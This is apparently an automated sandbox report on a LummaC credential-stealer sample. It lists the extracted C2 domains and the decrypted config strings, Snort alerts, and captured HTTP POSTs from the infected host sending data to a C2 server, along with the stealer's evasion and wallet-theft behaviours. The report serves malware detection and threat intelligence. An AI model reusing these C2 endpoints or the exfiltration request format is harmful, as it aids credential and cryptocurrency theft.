Edit tour

Windows Analysis Report
Ag3ijL3z1w.exe

Overview

General Information

Sample name:	Ag3ijL3z1w.exe renamed because original name is a hash value
Original sample name:	038f01c7ab34d20394b657ce5d5f3152.exe
Analysis ID:	1414024
MD5:	038f01c7ab34d20394b657ce5d5f3152
SHA1:	7f82fb84c6c0aff1012675d48ba95b0558d3230f
SHA256:	28119987147a63910d12662c2008089f85571817695dcd443d02303d52479c55
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Snort IDS alert for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Ag3ijL3z1w.exe (PID: 7264 cmdline: "C:\Users\user\Desktop\Ag3ijL3z1w.exe" MD5: 038F01C7AB34D20394B657CE5D5F3152)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["associationokeo.shop", "turkeyunlikelyofw.shop", "pooreveningfuseor.pw", "edurestunningcrackyow.fun", "detectordiscusser.shop", "relevantvoicelesskw.shop", "colorfulequalugliess.shop", "wisemassiveharmonious.shop", "colorfulequalugliess.shop"], "Build id": "g5MvTC--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: Ag3ijL3z1w.exe PID: 7264	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Ag3ijL3z1w.exe PID: 7264	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Ag3ijL3z1w.exe PID: 7264	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.147.173

Timestamp:	03/22/24-13:54:05.472247
SID:	2051588
Source Port:	49735
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.147.173

Timestamp:	03/22/24-13:54:10.961651
SID:	2051588
Source Port:	49739
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (colorfulequalugliess .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	03/22/24-13:54:02.814250
SID:	2051587
Source Port:	57667
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.147.173

Timestamp:	03/22/24-13:54:03.114371
SID:	2051588
Source Port:	49732
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.147.173

Timestamp:	03/22/24-13:54:09.869399
SID:	2051588
Source Port:	49738
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (wisemassiveharmonious .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	03/22/24-13:54:02.910864
SID:	2051586
Source Port:	63995
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.147.173

Timestamp:	03/22/24-13:54:08.102502
SID:	2051588
Source Port:	49737
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.147.173

Timestamp:	03/22/24-13:54:03.862026
SID:	2051588
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.147.173

Timestamp:	03/22/24-13:54:06.419545
SID:	2051588
Source Port:	49736
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) - Source IP: 192.168.2.4 - Destination IP: 172.67.147.173

Timestamp:	03/22/24-13:54:04.720277
SID:	2051588
Source Port:	49734
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (relevantvoicelesskw .shop) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	03/22/24-13:54:03.009215
SID:	2051584
Source Port:	51440
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: edurestunningcrackyow.fun	URL Reputation: Label: malware
Source: edurestunningcrackyow.fun	URL Reputation: Label: malware
Source: https://relevantvoicelesskw.shop/apiA	Avira URL Cloud: Label: phishing
Source: https://relevantvoicelesskw.shop/~	Avira URL Cloud: Label: phishing
Source: https://relevantvoicelesskw.shop/	Avira URL Cloud: Label: phishing
Source: https://relevantvoicelesskw.shop/api~	Avira URL Cloud: Label: phishing
Source: https://relevantvoicelesskw.shop/api6	Avira URL Cloud: Label: phishing
Source: colorfulequalugliess.shop	Avira URL Cloud: Label: phishing
Source: https://relevantvoicelesskw.shop/api0	Avira URL Cloud: Label: phishing
Source: https://relevantvoicelesskw.shop/b	Avira URL Cloud: Label: phishing
Source: https://relevantvoicelesskw.shop:443/apiBE2NhtLOoTLNNgOkw	Avira URL Cloud: Label: phishing
Source: https://relevantvoicelesskw.shop/s	Avira URL Cloud: Label: phishing
Source: https://relevantvoicelesskw.shop/api	Avira URL Cloud: Label: malware
Source: relevantvoicelesskw.shop	Avira URL Cloud: Label: phishing
Source: https://relevantvoicelesskw.shop/l	Avira URL Cloud: Label: phishing

Found malware configuration

Source: 0.2.Ag3ijL3z1w.exe.60000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["associationokeo.shop", "turkeyunlikelyofw.shop", "pooreveningfuseor.pw", "edurestunningcrackyow.fun", "detectordiscusser.shop", "relevantvoicelesskw.shop", "colorfulequalugliess.shop", "wisemassiveharmonious.shop", "colorfulequalugliess.shop"], "Build id": "g5MvTC--"}

Multi AV Scanner detection for domain / URL

Source: relevantvoicelesskw.shop	Virustotal: Detection: 20%	Perma Link
Source: colorfulequalugliess.shop	Virustotal: Detection: 20%	Perma Link
Source: wisemassiveharmonious.shop	Virustotal: Detection: 9%	Perma Link
Source: https://relevantvoicelesskw.shop/	Virustotal: Detection: 18%	Perma Link
Source: https://relevantvoicelesskw.shop/apiA	Virustotal: Detection: 10%	Perma Link
Source: colorfulequalugliess.shop	Virustotal: Detection: 20%	Perma Link
Source: https://relevantvoicelesskw.shop/api0	Virustotal: Detection: 10%	Perma Link
Source: wisemassiveharmonious.shop	Virustotal: Detection: 9%	Perma Link
Source: https://relevantvoicelesskw.shop/api6	Virustotal: Detection: 20%	Perma Link
Source: https://relevantvoicelesskw.shop/api	Virustotal: Detection: 21%	Perma Link
Source: relevantvoicelesskw.shop	Virustotal: Detection: 20%	Perma Link

Machine Learning detection for sample

Source: Ag3ijL3z1w.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: associationokeo.shop
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: turkeyunlikelyofw.shop
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: pooreveningfuseor.pw
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: edurestunningcrackyow.fun
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: detectordiscusser.shop
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: relevantvoicelesskw.shop
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: colorfulequalugliess.shop
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: wisemassiveharmonious.shop
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: colorfulequalugliess.shop
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.1874279001.0000000000097000.00000002.00000001.01000000.00000003.sdmp	String decryptor: g5MvTC--

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

Code function: 0_2_00074F69 CryptUnprotectData,

0_2_00074F69

Source: Ag3ijL3z1w.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.147.173:443 -> 192.168.2.4:49739 version: TLS 1.2

Source: Ag3ijL3z1w.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000080h]	0_2_00083216
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000080h]	0_2_00083216
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000080h]	0_2_00083216
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000080h]	0_2_000812E2
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then cmp dword ptr [eax-08h], 5C3924FCh	0_2_0007541A
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov ecx, dword ptr [esp+10h]	0_2_000695E0
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then lea esi, dword ptr [edx+ecx]	0_2_0007D860
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov eax, dword ptr [esi+04h]	0_2_0007390E
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov ecx, dword ptr [esi+08h]	0_2_00092156
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then jmp eax	0_2_00094489
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov ecx, dword ptr [esi+04h]	0_2_000705BD
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov ecx, dword ptr [esp+000000A8h]	0_2_00074810
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov ecx, edi	0_2_000668B4
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov eax, dword ptr [0009DC58h]	0_2_0007CB43
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov ecx, dword ptr [esp+10h]	0_2_0007CB80
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov eax, dword ptr [esi+08h]	0_2_00092C52
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000080h]	0_2_00080D8E
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov ecx, dword ptr [esi+04h]	0_2_00070E43
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov eax, edi	0_2_00094FB2
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then movzx eax, byte ptr [esi+ecx]	0_2_0006D1C0
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then test esi, esi	0_2_000952C9
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then jmp ecx	0_2_00093458
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov eax, dword ptr [esp+28h]	0_2_0007561D
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_0008D620
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000080h]	0_2_00083216
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000080h]	0_2_00083216
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov eax, dword ptr [esi+00000080h]	0_2_00083216
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then jmp eax	0_2_000719E7
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then jmp ecx	0_2_0006FA72
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then jmp ecx	0_2_0006FA7F
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then add ecx, dword ptr [esp+eax*4+30h]	0_2_00067B20
Source: C:\Users\user\Desktop\Ag3ijL3z1w.exe	Code function: 4x nop then mov edi, dword ptr [esi+0Ch]	0_2_0007FB8E

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2051587 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (colorfulequalugliess .shop) 192.168.2.4:57667 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2051586 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (wisemassiveharmonious .shop) 192.168.2.4:63995 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2051584 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (relevantvoicelesskw .shop) 192.168.2.4:51440 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2051588 ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) 192.168.2.4:49732 -> 172.67.147.173:443
Source: Traffic	Snort IDS: 2051588 ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) 192.168.2.4:49733 -> 172.67.147.173:443
Source: Traffic	Snort IDS: 2051588 ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) 192.168.2.4:49734 -> 172.67.147.173:443
Source: Traffic	Snort IDS: 2051588 ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) 192.168.2.4:49735 -> 172.67.147.173:443
Source: Traffic	Snort IDS: 2051588 ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) 192.168.2.4:49736 -> 172.67.147.173:443
Source: Traffic	Snort IDS: 2051588 ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) 192.168.2.4:49737 -> 172.67.147.173:443
Source: Traffic	Snort IDS: 2051588 ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) 192.168.2.4:49738 -> 172.67.147.173:443
Source: Traffic	Snort IDS: 2051588 ET TROJAN Observed Lumma Stealer Related Domain (relevantvoicelesskw .shop in TLS SNI) 192.168.2.4:49739 -> 172.67.147.173:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: associationokeo.shop
Source: Malware configuration extractor	URLs: turkeyunlikelyofw.shop
Source: Malware configuration extractor	URLs: pooreveningfuseor.pw
Source: Malware configuration extractor	URLs: edurestunningcrackyow.fun
Source: Malware configuration extractor	URLs: detectordiscusser.shop
Source: Malware configuration extractor	URLs: relevantvoicelesskw.shop
Source: Malware configuration extractor	URLs: colorfulequalugliess.shop
Source: Malware configuration extractor	URLs: wisemassiveharmonious.shop
Source: Malware configuration extractor	URLs: colorfulequalugliess.shop

Source: Joe Sandbox View

IP Address: 172.67.147.173 172.67.147.173

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: relevantvoicelesskw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: relevantvoicelesskw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19496Host: relevantvoicelesskw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 9606Host: relevantvoicelesskw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20432Host: relevantvoicelesskw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 7077Host: relevantvoicelesskw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1409Host: relevantvoicelesskw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1Cookie: __cf_mw_byp=FnuETJjUsrdfuYJhYL5t.r6fDFk2VbK_r58LuDbvYFI-1711112043-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587977Host: relevantvoicelesskw.shop

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: colorfulequalugliess.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: relevantvoicelesskw.shop

Source: Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Ag3ijL3z1w.exe	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Ag3ijL3z1w.exe	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Ag3ijL3z1w.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Ag3ijL3z1w.exe, 00000000.00000003.1729643090.00000000030A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Ag3ijL3z1w.exe, 00000000.00000003.1713273468.00000000030B7000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713220364.00000000030B9000.00000004.00000800.00020000.00000000.sdmp, Ag3ijL3z1w.exe, 00000000.00000003.1713354464.00000000030B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
